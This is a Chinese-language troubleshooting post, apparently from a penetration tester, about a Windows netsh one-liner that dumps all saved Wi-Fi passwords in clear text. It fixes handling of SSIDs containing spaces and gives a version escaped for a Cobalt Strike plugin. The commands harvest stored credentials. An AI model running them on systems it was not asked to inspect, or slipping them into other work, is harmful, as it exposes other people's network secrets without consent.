0x00 前言

這篇記錄的是我在執行“獲取所有連接過的Wi-Fi密碼”命令時發現的一個問題,搜了半天沒找到解決方法,雖然有其他可替代工具,但還是想自己研究下。

強迫癥犯了,不解決難受!!!

0x01 代碼理解

獲取所有連接過的Wi-Fi密碼命令如下,其作用是列舉并顯示所有Wi-Fi配置文件的名稱和密碼,下圖為該命令的詳細解釋(來自AI解答),說的已經很清楚了。

for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear

0x02 問題簡述

我們在執行這條命令時發現有一個之前連過的熱點Wi-Fi只找到配置文件,但是并沒有獲取到密碼,提示:系統上沒有此類無線接口

“Administrator”的 iPhone

就這個Wi-Fi不行,猜測大概率是因為這個Wi-Fi的SSID名稱中存在空格或大寫雙引號的問題,在Windows命令行下只要有空格都得放“雙引號”里才行。

注:這里說的命令行有空格主要指的是執行命令中的路徑和要提取的某些字符中存在空格等情況,而不是所有帶空格命令,如:net user、qery user等。

不加雙引號失敗:

netsh wlan show profiles “Administrator”的 iPhone

加了雙引號成功:

netsh wlan show profiles "“Administrator”的 iPhone"

0x03 簡單測試

我們用雙引號將%j引起來輸出看下,可以看到加雙引號后輸出的SSID名稱左邊會多出個空格,所以我們在前邊或后邊即使用雙引號將%j引起來都不行,如何解決呢?

for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo "%j" | findstr -i -v echo | netsh wlan show profiles "%j" key=clear

0x04 解決方案

多次測試后確定是Wi-Fi的SSID名稱空格問題,知道了問題原因就好解決了。

我們只需要再加1個For先處理SSID名稱左邊的空格,然后再用雙引號將第2個for的%s引起來即可。

最終測試的命令如下:

for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | for /f "tokens=*" %s in ("%j") do @echo %s

for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | for /f "tokens=*" %s in ("%j") do @echo %s | netsh wlan show profiles "%s" key=clear

如果我們要將這個命令集成到CobaltStrike插件使用,還得注意要對該命令中的雙引號使用\反斜杠進行轉義下,如:\"%s\",否則可能無法識別該命令。

for /f \"skip=9 tokens=1,2 delims=:\" %i in ('netsh wlan show profiles') do @echo %j | for /f \"tokens=*\" %s in (\"%j\") do @echo %s | netsh wlan show profiles \"%s\" key=clear

0x05 文末總結

“Administrator”的 iPhone 像這樣命名的Wi-Fi還是很少,所以影響并不是很大,但如果是帶有空格的Wi-Fi就不能直接用網上這條命令獲取密碼,這時可以用我們修改好的這條命令來獲取密碼,也可以用其他工具。

https://github.com/r3nhat/SharpWifiGrabber